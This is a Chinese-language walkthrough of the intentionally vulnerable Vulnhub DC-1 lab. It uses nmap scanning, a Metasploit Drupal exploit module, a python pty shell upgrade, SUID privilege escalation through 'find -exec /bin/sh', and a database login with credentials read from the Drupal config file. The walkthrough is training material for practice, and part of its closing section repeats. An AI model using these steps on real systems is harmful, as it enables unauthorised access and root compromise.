Vulnhub-DC-1

一、环境搭建

虚拟机Kali

DC-1靶场机:和kali放在一个c段中

官网下载 https://download.vulnhub.com/dc/DC-1.zip

二、渗透过程

因为是黑盒,所以我们不知道靶场的地址,只能扫出来,只知道和kali在一个c段中

ifconfig  //查看ip

Vulnhub-DC-1_第1张图片

nmap扫地址

nmap -sP 10.242.80.0/24

image-20230402123158654

扫到了两个地址,一个是kali的233,另一个就是我们的靶机地址

继续扫端口

nmap -A 10.242.80.54

Vulnhub-DC-1_第2张图片

扫到了80端口开启了http服务,去访问一下

Vulnhub-DC-1_第3张图片

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。
形象的说,Drupal是一个附带CMS的PHP开发框架。

msf里有直接利用的工具脚本

msfconsole

查找一下

search drupal

Vulnhub-DC-1_第4张图片

使用第二个脚本

use 1

image-20230402132000862

再查看需要那些东西

Vulnhub-DC-1_第5张图片

标yes的是必填的,但大多都填上了,只有RHOSTS没有,这是我们的目标

set RHOSTS http://10.242.80.54/

之后run就可以了

run

image-20230402132206500

拿到shell后看到并不是交互式的

image-20230402132310869

可以用python来变成交互式的

python -c 'import pty; pty.spawn("/bin/bash")'

image-20230402132611044

之后再查看文件读取文件,发现权限不够

Vulnhub-DC-1_第6张图片

再尝试用suid提权

SUID: TSet User ID是一种权限类型,允许用户使用指定用户的权限执行文件。那些具有suid权限的文件以最高的权限运行。假设我们以非root用户身份访问目标系统,并且我们发现二进制文件启用了suid位,那么这些文件/程序/命令可以root权限运行.SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。

1、查找具有SUID的二进制可执行文件

find / -user root -perm -4000 -print 2>/dev/null

2、已知的可用来提权的linux可行性的文件列表如下:

  • Nmap、Vim、find、Bash、More、Less、Nano、cp

3、利用find获得root权限shell.

find / -name cron.php -exec "/bin/sh" \;

image-20230402140958894

获得了root权限,之后就可以找flag了

find / -name "*flag*.txt"

image-20230402142726599

找到了三个flag

看一下这三个flag有提示

Vulnhub-DC-1_第7张图片

去找drupal的配置文件

百度drupal的配置文件在*/sites/default文件夹中*

在里面找到了flag2

Vulnhub-DC-1_第8张图片

顺带着也有数据库的用户名和密码

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

用得到的用户名和密码登录数据库

mysql -u dbuser -pR0ck3t

之后用

show databases;    //查看数据库
use drupaldb;    //使用drupaldb库
show tables;    //查看表
select * from users;  //查看user表

image-20230402145417485

得到了admin的密码的hash,但爆破不出来(加盐了没用)

Drupal 7已不再采用Drupal 6和5时代的简单的MD5加密了而是采用了新型的Hash加密方法来确保密码安全。而加密脚本是password-hash.sh。

使用find找一下:

image-20230402151130779

find / -name ‘hash’

php scripts/password-hash.sh admin123

image-20230402151105482

加密脚本是password-hash.sh。

使用find找一下:

[外链图片转存中...(img-uWkvsZrk-1680420639229)]

find / -name ‘hash’

php scripts/password-hash.sh admin123

[外链图片转存中...(img-jj7WxSZn-1680420639229)]

成功修改密码,登录进去就可以找到flag4了

你可能感兴趣的:(安全)